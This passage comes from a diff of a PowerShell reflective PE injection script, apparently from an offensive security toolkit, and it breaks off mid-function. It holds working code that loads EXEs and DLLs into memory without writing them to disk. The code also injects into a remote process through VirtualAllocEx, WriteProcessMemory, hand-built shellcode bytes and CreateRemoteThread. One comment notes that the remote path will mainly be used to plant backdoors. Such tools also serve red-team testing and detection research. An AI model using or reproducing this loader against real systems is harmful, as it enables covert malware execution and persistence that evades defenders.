[Parameter(Position = 1, Mandatory = $true)] - [String] - $FunctionName - ) - - $Win32Types = Get-Win32Types - $Win32Constants = Get-Win32Constants - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - - #Get the export table - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) - { - return [IntPtr]::Zero - } - $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) - $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) - - for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) - { - #AddressOfNames is an array of pointers to strings of the names of the functions exported - $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) - $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) - $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) - - if ($Name -ceq $FunctionName) - { - #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions - # which contains the offset of the function in to the DLL - $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) - $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) - $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) - $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) - return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) - } - } - - return [IntPtr]::Zero - } - - - Function Invoke-MemoryLoadLibrary - { - Param( - [Parameter( Position = 0, Mandatory = $true )] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $false)] - [String] - $ExeArgs, - - [Parameter(Position = 2, Mandatory = $false)] - [IntPtr] - $RemoteProcHandle - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) - - #Get Win32 constants and functions - $Win32Constants = Get-Win32Constants - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - - $RemoteLoading = $false - if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) - { - $RemoteLoading = $true - } - - #Get basic PE information - Write-Verbose "Getting basic PE information from the file" - $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types - $OriginalImageBase = $PEInfo.OriginalImageBase - $NXCompatible = $true - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) - { - Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue - $NXCompatible = $false - } - - - #Verify that the PE and the current process are the same bits (32bit or 64bit) - $Process64Bit = $true - if ($RemoteLoading -eq $true) - { - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") - if ($Result -eq [IntPtr]::Zero) - { - Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" - } - - [Bool]$Wow64Process = $false - $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) - if ($Success -eq $false) - { - Throw "Call to IsWow64Process failed" - } - - if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) - { - $Process64Bit = $false - } - - #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly - $PowerShell64Bit = $true - if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) - { - $PowerShell64Bit = $false - } - if ($PowerShell64Bit -ne $Process64Bit) - { - throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" - } - } - else - { - if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) - { - $Process64Bit = $false - } - } - if ($Process64Bit -ne $PEInfo.PE64Bit) - { - Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" - } - - - #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address - Write-Verbose "Allocating memory for the PE and write its headers to memory" - - [IntPtr]$LoadAddr = [IntPtr]::Zero - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) - { - Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue - [IntPtr]$LoadAddr = $OriginalImageBase - } - - $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell - $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. - if ($RemoteLoading -eq $true) - { - #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup - $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - - #todo, error handling needs to delete this memory if an error happens along the way - $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($EffectivePEHandle -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" - } - } - else - { - if ($NXCompatible -eq $true) - { - $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - } - else - { - $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - } - $EffectivePEHandle = $PEHandle - } - - [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) - if ($PEHandle -eq [IntPtr]::Zero) - { - Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." - } - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null - - - #Now that the PE is in memory, get more detailed information about it - Write-Verbose "Getting detailed PE information from the headers loaded in memory" - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress - $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle - Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" - - - #Copy each section from the PE in to memory - Write-Verbose "Copy PE sections in to memory" - Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types - - - #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded - Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" - Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types - - - #The PE we are in-memory loading has DLLs it needs, import those DLLs for it - Write-Verbose "Import DLL's needed by the PE we are loading" - if ($RemoteLoading -eq $true) - { - Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle - } - else - { - Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants - } - - - #Update the memory protection flags for all the memory just allocated - if ($RemoteLoading -eq $false) - { - if ($NXCompatible -eq $true) - { - Write-Verbose "Update memory protection flags" - Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types - } - else - { - Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" - } - } - else - { - Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" - } - - - #If remote loading, copy the DLL in to remote process memory - if ($RemoteLoading -eq $true) - { - [UInt32]$NumBytesWritten = 0 - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) - if ($Success -eq $false) - { - Throw "Unable to write shellcode to remote process memory." - } - } - - - #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function - if ($PEInfo.FileType -ieq "DLL") - { - if ($RemoteLoading -eq $false) - { - Write-Verbose "Calling dllmain so the DLL knows it has been loaded" - $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) - $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) - - $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null - } - else - { - $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - - if ($PEInfo.PE64Bit -eq $true) - { - #Shellcode: CallDllMain.asm - $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) - $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) - $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - } - else - { - #Shellcode: CallDllMain.asm - $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) - $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) - $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) - } - $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem - - Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) - - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } - - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - } - } - elseif ($PEInfo.FileType -ieq "EXE") - { - #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process - [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) - [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) - $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr - - #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread - # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. - [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." - - $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null - - while($true) - { - [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) - if ($ThreadDone -eq 1) - { - Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants - Write-Verbose "EXE thread has completed." - break - } - else - { - Start-Sleep -Seconds 1 - } - } - } - - return @($PEInfo.PEHandle, $EffectivePEHandle) - } - - - Function Invoke-MemoryFreeLibrary - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $PEHandle - ) - - #Get Win32 constants and functions - $Win32Constants = Get-Win32Constants - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - - #Call FreeLibrary for all the imports of the DLL - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) - { - [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) - - while ($true) - { - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) - - #If the structure is null, it signals that this is the end of the array - if ($ImportDescriptor.Characteristics -eq 0 ` - -and $ImportDescriptor.FirstThunk -eq 0 ` - -and $ImportDescriptor.ForwarderChain -eq 0 ` - -and $ImportDescriptor.Name -eq 0 ` - -and $ImportDescriptor.TimeDateStamp -eq 0) - { - Write-Verbose "Done unloading the libraries needed by the PE" - break - } - - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) - $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) - - if ($ImportDllHandle -eq $null) - { - Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue - } - - $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) - if ($Success -eq $false) - { - Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue - } - - $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) - } - } - - #Call DllMain with process detach - Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" - $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) - $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) - - $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null - - - $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) - if ($Success -eq $false) - { - Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue - } - } - - - Function Main - { - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - $Win32Constants = Get-Win32Constants - - $RemoteProcHandle = [IntPtr]::Zero - - #If a remote process to inject in to is specified, get a handle to it - if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) - { - Throw "Can't supply a ProcId and ProcName, choose one or the other" - } - elseif ($ProcName -ne $null -and $ProcName -ne "") - { - $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) - if ($Processes.Count -eq 0) - { - Throw "Can't find process $ProcName" - } - elseif ($Processes.Count -gt 1) - { - $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId - Write-Output $ProcInfo - Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." - } - else - { - $ProcId = $Processes[0].ID - } - } - - #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. - #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege -# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) -# { -# Write-Verbose "Getting SeDebugPrivilege" -# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -# } - - if (($ProcId -ne $null) -and ($ProcId -ne 0)) - { - $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - Throw "Couldn't obtain the handle for process ID: $ProcId" - } - - Write-Verbose "Got the handle for the remote process to inject in to" - } - - - #Load the PE reflectively - Write-Verbose "Calling Invoke-MemoryLoadLibrary" - $PEHandle = [IntPtr]::Zero - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs - } - else - { - $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle - } - if ($PELoadedInfo -eq [IntPtr]::Zero) - { - Throw "Unable to load PE, handle returned is NULL" - } - - $PEHandle = $PELoadedInfo[0] - $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process - - - #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) - { - ######################################### - ### YOUR CODE GOES HERE - ######################################### - switch ($FuncReturnType) - { - 'WString' { - Write-Verbose "Calling function with WString return type" - [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" - if ($WStringFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) - $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) - [IntPtr]$OutputPtr = $WStringFunc.Invoke() - $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) - Write-Output $Output - } - - 'String' { - Write-Verbose "Calling function with String return type" - [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" - if ($StringFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) - $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) - [IntPtr]$OutputPtr = $StringFunc.Invoke() - $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) - Write-Output $Output - } - - 'Void' { - Write-Verbose "Calling function with Void return type" - [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" - if ($VoidFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $VoidFuncDelegate = Get-DelegateType @() ([Void]) - $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) - $VoidFunc.Invoke() | Out-Null - } - } - ######################################### - ### END OF YOUR CODE - ######################################### - } - #For remote DLL injection, call a void function which takes no parameters - elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) - { - $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" - if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) - { - Throw "VoidFunc couldn't be found in the DLL" - } - - $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle - $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle - - #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions - } - - #Don't free a library if it is injected in a remote process - if ($RemoteProcHandle -eq [IntPtr]::Zero) - { - Invoke-MemoryFreeLibrary -PEHandle $PEHandle - } - else - { - #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process - $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) - if ($Success -eq $false) - { - Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue - } - } - - Write-Verbose "Done!" - } - - Main + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Get-Hex + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + $Value #We will determine the type dynamically + ) + + $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2 + $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first. + + return $Hex + } + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', 